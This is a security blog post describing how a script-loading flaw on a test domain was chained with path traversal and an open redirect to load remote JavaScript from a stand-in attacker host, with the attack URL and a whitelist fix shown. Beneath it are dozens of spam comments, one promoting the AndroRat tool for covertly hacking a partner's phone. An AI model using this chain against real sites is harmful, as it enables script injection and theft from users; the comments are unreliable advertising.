Wednesday, 26 November 2014

Traversal to Redirect to Remote JS XSS

I recently came across an interesting snippet of Javascript that looked exploitable but the path to exploitation wasn't that obvious. This post will be about how I achieved a working XSS.


The Code

The vulnerable page was loaded with a URL something like this:
https://app.test.com/timezone?c=test
And contained Javascript looking something like this:
var country = location.search.slice(3);
var s = document.createElement('script');
var src = '/js/timezone-js/timezone-data[' + country + '].min.js';
s.src = src;
document.getElementsByTagName('head')[0].appendChild(s);

Can you spot how to exploit it? :)

============================================

In a nutshell the JS appends a new <script> element to the <head> element. The user is able to modify the country part of the script element as this is retrieved from the URL parameter "c".

Once the above script runs you end up with something like:
<script src="/js/timezone-js/timezone-data[test].min.js"></script>
So how can we exploit this?


From Text to Traversal

In terms of regular inline XSS there are two potential injection points, either directly in the JS or within the HTML output. In this instance neither work because of the way the input is handled and encoding.

We can however use path traversal to load any JS file on the server. For example, to load a legitimate file with traversal we could do this:
https://app.test.com/timezone?c=/../../../js/timezone-js/timezonedata[UK.min.js]?

But we still have no way to load our own JS...or do we?


From Traversal to Dead End?

The easiest way to get JS execution from the traversal would have been to locate an upload feature or error message on the same domain that allowed the user to control the first few bytes of the response. This would have allowed the inclusion of a JS payload that could have been accessed through the traversal.

For example:
https://app.test.com/timezone?c=/../../../../uploads/file?
Unfortunately I couldn't find such a place....but I did have an open redirection I could play with.


From Redirection to JS

The open redirection was pretty standard something like:
https://app.test.com/accounts/logout/?next=https://badguy.com
Open redirection is often classed as medium/low risk but in this instance it was the final piece of the XSS puzzle as it would allow us to redirect a browser offsite to grab remote JS.

Combining the traversal and redirection the complete attack URL was:
https://app.test.com/timezone?c=/../../../../accounts/logout/?next=https://badguy.com/script.js?

Which would cause the in-page JS to create a script tag that would load our malicious remote JS:
<script src="/../../../../accounts/logout/?next=https://badguy.com/script.js?].min.js"><script>


Congratulations you've achieved XSS by loading remote JS from traversal and redirection!


The Fix

I definitely think this functionality could have been handled in a cleaner way using server-side code. A quick fix though would have been to whitelist the country parameter to prevent path traversal.
country = country.replace(/[^\w\-]/g, '');


Final Thoughts

I really enjoyed exploiting this issue as it involved stringing multiple flaws together to achieve a working XSS which at first glance didn't seem possible. I guess the moral of the story is always think outside the box and don't write sloppy Javascript :)

If you have any questions or feedback just drop me a comment below. Pwndizzle out.

575 comments:

  1. Hi, I read your post regarding the Facebook account phone number determinations. I was wondering if you have an e-mail I could reach you at. Locked out of Yahoo mail from years ago, and I don't know the phone number associated to my account anymore.

    Thank you.

    ReplyDelete
  2. thanks for your information
    For more information click here:
    ethical hacking course in hyderabad

    ReplyDelete
  3. This is such a good post. One of the best posts that I\'ve read in my whole life. I am so happy that you chose this day to give me this. Please, continue to give me such valuable posts. Cheers!
    java training in tambaram | java training in velachery

    java training in omr | oracle training in chennai

    java training in annanagar | java training in chennai

    ReplyDelete
  4. It seems you are so busy in last month. The detail you shared about your work and it is really impressive that's why i am waiting for your post because i get the new ideas over here and you really write so well.
    python training in pune
    python online training
    python training in OMR

    ReplyDelete
  5. A universal message I suppose, not giving up is the formula for success I think. Some things take longer than others to accomplish, so people must understand that they should have their eyes on the goal, and that should keep them motivated to see it out til the end.
    python training in pune
    python online training
    python training in OMR

    ReplyDelete
  6. Great post! I am actually getting ready to across this information, It’s very helpful for this blog.Also great with all of the valuable information you have Keep up the good work you are doing well.
    Devops training in velachery
    Devops training in annanagar
    Devops training in sholinganallur

    ReplyDelete
  7. The knowledge of technology you have been sharing thorough this post is very much helpful to develop new idea. here by i also want to share this.
    Devops training in tambaram
    DevOps online Training
    DevOps Training in USA

    ReplyDelete
  8. We are a group of volunteers and starting a new initiative in a community. Your blog provided us valuable information to work on.You have done a marvellous job!
    Blueprism online training

    Blue Prism Training in Pune

    ReplyDelete
  9. Nice tutorial. Thanks for sharing the valuable information. it’s really helpful. Who want to learn this blog most helpful. Keep sharing on updated tutorials…
    Blueprism training institute in Chennai

    Blueprism online training

    Blue Prism Training Course in Pune

    Blue Prism Training Institute in Bangalore

    ReplyDelete
  10. This comment has been removed by the author.

    ReplyDelete
  11. Does your blog have a contact page? I’m having problems locating it but, I’d like to shoot you an email. I’ve got some recommendations for your blog you might be interested in hearing.
    AWS Training in Chennai |Best Amazon Web Services Training in Chennai
    AWS Training in Rajaji Nagar | Amazon Web Services Training in Rajaji Nagar

    Best AWS Training Institute in BTM Layout Bangalore ,AWS Coursesin BTM

    ReplyDelete
  12. Greetings. I know this is somewhat off-topic, but I was wondering if you knew where I could get a captcha plugin for my comment form? I’m using the same blog platform like yours, and I’m having difficulty finding one? Thanks a lot.
    AWS Interview Questions And Answers
    AWS Online Training | Online AWS Certification Course - Gangboard
    AWS Training in Chennai | AWS Training Institute in Chennai Velachery, Tambaram, OMR
    AWS Training in Bangalore |Best AWS Training Institute in BTM ,Marathahalli

    ReplyDelete
  13. Awwsome informative blog ,Very good information thanks for sharing such wonderful blog with us ,after long time came across such knowlegeble blog. keep sharing such informative blog with us. Aviation Courses in Chennai | Best Aviation Academy in Chennai | Aviation Academy in Chennai | Aviation Training in Chennai | Aviation Institute in Chennai

    ReplyDelete
  14. Thank you sharing this kind of noteworthy information. Nice Post.

    Guest posting sites
    Education

    ReplyDelete
  15. This information is impressive. I am inspired with your post writing style & how continuously you describe this topic. Eagerly waiting for your new blog keep doing more.
    Android Training in Bangalore
    Android Developer Course in Bangalore
    Android App Development Training in Bangalore
    Android Training Center in Bangalore
    Android Institute in Bangalore

    ReplyDelete
  16. Amazing information,thank you for your ideas.after along time i have studied
    an interesting information's.we need more updates in your blog.
    Salesforce Training in Mogappair
    Salesforce Training in Thirumangalam
    Salesforce Training in Nungambakkam
    Salesforce Training in Vadapalani

    ReplyDelete
  17. Good Post! Thank you so much for sharing this pretty post, it was so good to read and useful to improve my knowledge as updated one, keep blogging…
    industrial course in chennai

    ReplyDelete
  18. This post is much helpful for us. This is really very massive value to all the readers and it will be the only reason for the post to get popular with great authority.
    Software Testing Training in Chennai
    Software Testing Courses in Chennai
    Software Training Institutes in Chennai
    Selenium Training
    Selenium Course in Chennai
    Selenium Training Institute in Chennai

    ReplyDelete
  19. Thanks for posting useful information.You have provided an nice article, Thank you very much for this one. And i hope this will be useful for many people.. and i am waiting for your next post keep on updating these kinds of knowledgeable things...Really it was an awesome article...very interesting to read..please sharing like this information......
    PHP interview questions and answers | PHP interview questions | PHP interview questions for freshers | PHP interview questions and answers for freshers | php interview questions and answers for experienced | php viva questions and answers | php based interview questions

    ReplyDelete
  20. Many people put effort to look for Best Villas and here comes our exclusive guide on how to choose the Best Independent Luxury Villas in Chennai even you can find Budget Cheap Villas in our most areas across ECR and OMR.

    ReplyDelete
  21. Great Article, very useful information, thank you !!

    Guest posting sites
    Education

    ReplyDelete
  22. WP Engine, most rated WordPress hosting comes with all the essential & advanced features for Wp Engine Black Friday WordPress powered sites. WP Engine just beyond a hosting company where they incorporated many tools to identify slow loading pages.

    ReplyDelete
  23. Regular charges will be applied to other customers according to their services provider. If you are unable to make a call on Sky broadband Numbersimply use live chat options to avail broadband services.

    ReplyDelete
  24. I think this is the best article today about the future technology. Thanks for taking your own time to discuss this topic, I feel happy about that curiosity has increased to learn more about this topic. Artificial Intelligence Training in Bangalore. Keep sharing your information regularly for my future reference.

    ReplyDelete
  25. I think this is the best article today about the future technology. Thanks for taking your own time to discuss this topic, I feel happy about that curiosity has increased to learn more about this topic.Artificial Intelligence Training in Bangalore. Keep sharing your information regularly for my future reference.

    ReplyDelete
  26. Resources like the one you mentioned here will be very useful to me ! I will post to this page on my blog. I am sure my visitors will find that very useful

    href="https://www.mytrainingbangalore.com/seo-training-in-bangalore/" rel="nofollow"SEO Training in Bangalore
    href="https://www.mytrainingbangalore.com/" rel="nofollow"Best Training in Bangalore

    ReplyDelete
  27. This comment has been removed by the author.

    ReplyDelete
  28. Outstanding blog thanks for sharing such wonderful blog with us ,after long time came across such knowlegeble blog. keep sharing such informative blog with us.

    Check out : machine learning training in chennai
    artificial intelligence and machine learning course in chennai
    machine learning with python course in chennai
    best machine learning institutes in chennai

    ReplyDelete
  29. Thanks for such a great article here. I was searching for something like this for quite a long time and at last, I’ve found it on your blog. It was definitely interesting for me to read about their market situation nowadays.angularjs best training center in chennai | angularjs training in velachery | angularjs training in chennai | best angularjs training institute in chennai

    ReplyDelete
  30. I always enjoy reading quality articles by an individual who is obviously knowledgeable on their chosen subject. Ill be watching this post with much interest. Keep up the great work, I will be back

    devops online training

    aws online training

    data science with python online training

    data science online training

    rpa online training

    ReplyDelete
  31. This is a nice article here with some useful tips for those who are not used-to comment that frequently. Thanks for this helpful information I agree with all points you have given to us. I will follow all of them.
    Microsoft Azure online training
    Selenium online training
    Java online training
    Python online training
    uipath online training

    ReplyDelete
  32. Hey Nice Blog!! Thanks For Sharing!!!Wonderful blog & good post.Its really helpful for me, waiting for a more new post. Keep Blogging!
    SEO company in coimbatore
    SEO Service in Coimbatore
    web design company in coimbatore

    ReplyDelete
  33. Great Article… I love to read your articles because your writing style is too good, its is very very helpful for all of us and I never get bored while reading your article because, they are becomes a more and more interesting from the starting lines until the end.


    AWS Training in Bangalore

    Best AWS Training Institute in Bangalore


    ReplyDelete
  34. This comment has been removed by the author.

    ReplyDelete
  35. On this website you can join unlimited groups . click and get unlimited whatsapp group links

    ReplyDelete
  36. Really It is very useful information for us. thanks for sharing.
    CEH Training In Hyderabad

    ReplyDelete
  37. Interesting information and attractive.This blog is really rocking... Yes, the post is very interesting and I really like it.I never seen articles like this. I meant it's so knowledgeable, informative, and good looking site. I appreciate your hard work. Good job.
    Kindly visit us @
    Sathya Online Shopping
    Online AC Price | Air Conditioner Online | AC Offers Online | AC Online Shopping
    Inverter AC | Best Inverter AC | Inverter Split AC
    Buy Split AC Online | Best Split AC | Split AC Online
    LED TV Sale | Buy LED TV Online | Smart LED TV | LED TV Price
    Laptop Price | Laptops for Sale | Buy Laptop | Buy Laptop Online
    Full HD TV Price | LED HD TV Price
    Buy Ultra HD TV | Buy Ultra HD TV Online
    Buy Mobile Online | Buy Smartphone Online in India

    ReplyDelete
  38. I Had Read Your Article & Really Like It, Thank You For This Type Of Valuable Information !!

    Are You Planning To Buy A Phone Or Want To Know Best Phones In 2019 Then Visit Our Website Phones Pick

    ReplyDelete
  39. Nice Article…
    Really appreciate your work
    Breakup Status

    ReplyDelete
  40. Hello, I read your blog occasionally, and I own a similar one, and I was just wondering if you get a lot of spam remarks? If so how do you stop it, any plugin or anything you can advise? I get so much lately it’s driving me insane, so any assistance is very much appreciated.
    AWS Training in Chennai | Best AWS Training in Chennai
    Best Data Science Training in Chennai
    Best Python Training in Chennai
    Best RPA Training in Chennai
    Digital Marketing Training in Chennai
    Matlab Training in Chennai

    ReplyDelete
  41. Great and Nice Blog! I would like to thank for the efforts you have made in writing this great article. Thanks for sharing.


    ExcelR Data Science Bangalore

    ReplyDelete
  42. I have read your article, it is very informative and helpful for me.I admire the valuable information you offer in your articles. Thanks for posting it..
    data analytics course malaysia

    ReplyDelete
  43. To read more informative article on static gk quiz you can go to byscoop

    ReplyDelete
  44. I read that Post and got it fine and informative. Please share more like that...
    Data Science Course in Pune

    ReplyDelete
  45. If you have Natural Curls or Curly Hair, you are just blessed. You can experiment with many Hairstyles which will Look Stylish here we tell about top best and easy Curly Hairstyles

    ReplyDelete
  46. The article is very interesting and very understood to be read, may be useful for the people. I wanted to thank you for this great read!! I definitely enjoyed every little bit of it. I have to bookmarked to check out new stuff on your post. Thanks for sharing the information keep updating, looking forward for more posts..
    Kindly visit us @
    Madurai Travels
    Best Travels in Madurai
    Cabs in Madurai
    Tours and Travels in Madurai

    ReplyDelete
  47. Welcome to www.avg-retail.xyz Protect your data, devices, and your family With the development of the digital world, online protection is crucial. It is extremely important to protect your PCs, Mac, computers as well as mobile devices and tablets with avg.com/retail. This can be done with the help of effective internet security and anti-virus products from avg.com/retail that safeguards all devices used on digital platforms.

    For more information: www.avg.com/retail

    When you buy a new HP printer, you try to connect it using the user manual. The manual provided by the 123.hp.com/setup manufacturer may not be in detail. Hence, our technical experts have given simple instructions that guide you through the HP Printer setup and troubleshooting issues if any.

    For more information: 123.hp.com/setup

    ReplyDelete
  48. Excellent Blog. I really want to admire the quality of this post. I like the way of your presentation of ideas, views and valuable content. No doubt you are doing great work. I’ll be waiting for your next post. Thanks .Keep it up!
    Kindly visit us @
    Luxury Packaging Box
    Wallet Box
    Perfume Box Manufacturer
    Candle Packaging Boxes
    Luxury Leather Box
    Luxury Clothes Box
    Luxury Cosmetics Box
    Shoe Box Manufacturer
    Luxury Watch Box

    ReplyDelete

  49. It is perfect time to make some plans for the future and it is time to be happy. I’ve read this post and if I could I desire to suggest you few interesting things or tips. Perhaps you could write next articles referring to this article. I want to read more things about it!

    Big Data Course

    ReplyDelete
  50. Really amazing article thanks for this article.
    PHP

    ReplyDelete
  51. Hi! This is my first visit to your blog! We are a team of volunteers and new initiatives in the same niche. Blog gave us useful information to work. You have done an amazing job!

    Big Data Course Malaysia

    ReplyDelete
  52. Great post i must say and thanks for the information. Education is definitely a sticky subject. it is still among the leading topics of our time. I appreciate your post and looking for more.Data Science Courses

    ReplyDelete
  53. This information really amazing thanks for share this article thank you..

    easy hindi riddles with answers

    ReplyDelete
  54. If you are facing such hurdles and want to fix them immediately, reach MYOB Support Number for help. Here, the experts provide all kinds of resolutions for desktop and cloud-based MYOB software.

    ReplyDelete
  55. Antivirus has made our lives easier and secured. When you dial Webroot Support Toll-free Number , our experts will instantly engage with you. We cover a wide scope of services to satisfy every customer with the best solutions.

    ReplyDelete
  56. I have express a few of the articles on your website now, and I really like your style of Python classes in pune blogging. I added it to my favorite’s blog site list and will be checking back soon…

    ReplyDelete
  57. Thanks for the Valuable information.Really useful information. Thank you so much for sharing.It will help everyone.Keep Post. Find Some Indian Memes. Interesting News Tamilrockers Movie Download Trending News Some Life hacks tips Life hacks Entertainment News Find Some Viral News Here.Trending News
    saurabh jindal

    ReplyDelete
  58. Wow, absolutely fantastic blog. I am very glad to have such useful information

    clipping path service|Photo Retouching services|Vector Tracing

    ReplyDelete
  59. Thanks for the great post you posted. I like the way you describe the unique content. The points you raise are valid and reasonable. I am a tech support expert telling you about www.office.com/setup.

    ReplyDelete
  60. PUBG Mobile Lite need minimum 2GB of RAM is claimed as per the official requirements

    ReplyDelete
  61. I Got Job in my dream company with decent 12 Lacks Per Annum salary, I have learned this world most demanding course out there in the current IT Market from the data science course in puneProviders who helped me a lot to achieve my dreams comes true. Really worth trying instant approval blog commenting sites

    ReplyDelete
  62. Thanks for sharing valuable information.It will help everyone.keep Post.
    Kerala Lottery Guessing

    ReplyDelete
  63. Hi,
    Good job & thank you very much for the new information, i learned something new. Very well written. It was sooo good to read and usefull to improve knowledge. Who want to learn this information most helpful. One who wanted to learn this technology IT employees will always suggest you take Hadoop training in btm. Because data science course in pune is one of the best that one can do while choosing the course.

    ReplyDelete
  64. I Got Job in my dream company with decent 12 Lacks Per Annum salary, I have learned this world most demanding course out there in the current IT Market from the Hkbk group of institutions experts who helped me a lot to achieve my dreams comes true. Really worth trying

    ReplyDelete
  65. Nice article
    Thanks for sharing the information
    Please visit leadmirro to know your blog rank

    ReplyDelete
  66. Get the most advanced  UiPath Course by Professional expert. Just attend a FREE Demo session.  call us @ 9884412301 | 9600112302
      RPA training in chennai    UiPath training in velachery  

    ReplyDelete
  67. Cool post .. amazing blog. I really appreciate your effort. Thanks for sharing. Please Check Sai Baba Images and Life Quotes in Hindi

    ReplyDelete
  68. Best post .. I really appreciate your hard work and impressive writing style. Thanks for sharing. Keep Writing. Please visit - Sai Baba Images and Good Morning Love

    ReplyDelete
  69. I learned World's Trending Technology from certified experts for free of cost.i Got job in decent Top MNC Company with handsome 14 LPA salary, i have learned the World's Trending Technology from Python training in pune experts who know advanced concepts which can helps to solve any type of Real time issues in the field of Python. Really worth trying instant approval blog commenting sites

    ReplyDelete
  70. Get the most advanced  UiPath Course by Professional expert. Just attend a FREE Demo session.  call us @ 9884412301 | 9600112302
      RPA training in chennai    UiPath training in velachery  

    ReplyDelete
  71. Cool post .. amazing blog. I really appreciate your effort. Thanks for sharing. Please Check Sai Baba Images and Good Morning Love

    ReplyDelete
  72. Flox Blog Beginner's Guide for Web Developers.


    Nice article. It's very helpful to me. Thank you. Please check my online rgba color picker tool.


    Check your website is mobile friendly or not with Responsive Checker.


    Convert your text to Sentence Case. Then go for Flox Sentence Case Converter.

    ReplyDelete
  73. Really interesting and informative post! Thanks for sharing with us.
    list installed packages on ubuntu

    ReplyDelete
  74. Fonts For Facebook Generate cool and stylish FB Fonts fancy fonts for your Facebook account and Facebook Fonts
    you can use in all social media platform Fonts For FB

    ReplyDelete
  75. Nice Post...I have learn some new information.thanks for sharing.
    Click here for ExcelR Business Analytics Course

    ReplyDelete
  76. Thank you for this great article i learn a lot from your article keep it up.
    read more

    ReplyDelete
  77. This comment has been removed by the author.

    ReplyDelete
  78. Thank you for sharing valuable information. Thanks for provide great informatic blog, really nice required information & the things i never imagined. Thanks you once agian Download Poweramp Pro Apk

    ReplyDelete
  79. Today Launch in india New Jawa Bike is Jawa Anniversary Edition Price at 1.73 lakh (ex-showroom), to mark the 90th year of the brand.

    ReplyDelete
  80. Best Quotes In HindiBest Quotes In

    Hindi

    Shiv Tandav Stotram Full Lyrics? Shiv

    Tandav Stotram Full Lyrics

    Hindi Love Shayari CollectionHindi

    Love Shayari Collection

    Love quotes in hindiLove quotes in

    hindi

    Pal Pal Dil Ke Paas Lyrics – Arijit SinghPal Pal Dil Ke Paas Lyrics – Arijit Singh
    Tera Fitoor Lyrics – Arijit SinghTera Fitoor Lyrics – Arijit

    Singh

    Apna Time Aayega LyricsApna Time Aayega Lyrics


    ReplyDelete
  81. Are you like To Hack Garena Free Fire Game, U can want 2 File Free Fire Mod, Unban Virtual
    Are u like to hack your Girlfriend mobile, u can try it AndroRat, FBSub APK

    ReplyDelete
  82. I am Grateful™ that you shared this informational post. Your website has everything that I have been looking for so long. Your knowledge about this topic is quite impressive. I am amazed by the content you shared on this website. I loved this page so much that I have bookmarked it for future reference. Thank you for this valuable piece of information. Sadly I could not find any additional information on this page. The information available here is similar to other websites. I like that your understanding about this subject is very deep. Visit:-
    www.norton.com/setup
    Linksys Router Support
    Asus Router Support

    ReplyDelete
  83. Great Article. As I read the blog I felt a tug on the heartstrings. it exhibits how much effort has been put into this.
    IEEE Projects for CSE in Big Data

    Spring Framework Corporate TRaining

    Final Year Project Centers in Chennai

    JavaScript Training in Chennai

    ReplyDelete
  84. Thank you for such a nice article keep posting, I am a Regular Visitor of your website.
    the hindu pdf

    ReplyDelete
  85. Very good post, keep sending us such informative articles I visit your website on a regular basis.
    current affairs by jagran josh

    ReplyDelete
  86. Download CoolRom from the largest and cleanest ROMs and emulators resource on the net. Mobile optimized. Systems include N64, GBA, SNES, NDS, GBC, NES, MAME, PSX, Gamecube and more.

    ReplyDelete
  87. Awesome..I read this post so nice and very imformative information...thanks for sharing
    Click here for data science course

    ReplyDelete
  88. We support all types of HP printer troubleshooting and service. Just enter the model number of your printer in 123.hp.com/setup to identify the software and drivers your printer requires. Download and install it in your mac and 'Run' the file. The process is easy however if you have any doubts or queries regarding HP printers contact us.

    ReplyDelete
  89. Another factor to consider before getting yourself a folding ‘yak is considering the comfort level and ease of use.

    Convertible Kayak

    ReplyDelete
  90. Thank you for excellent article.You made an article that is interesting.
    Best AWS certification training courses. Build your AWS cloud skills with expert instructor- led classes. Live projects, Hands-on training,24/7 support.
    https://onlineidealab.com/aws-certification/

    ReplyDelete
  91. Very Nice article thank you for share this good article 먹튀검증

    ReplyDelete
  92. I found your article on Google when I was surfing, it is written very nicely and is optimized .Thank you I visit your website regularly.
    school fee management software

    ReplyDelete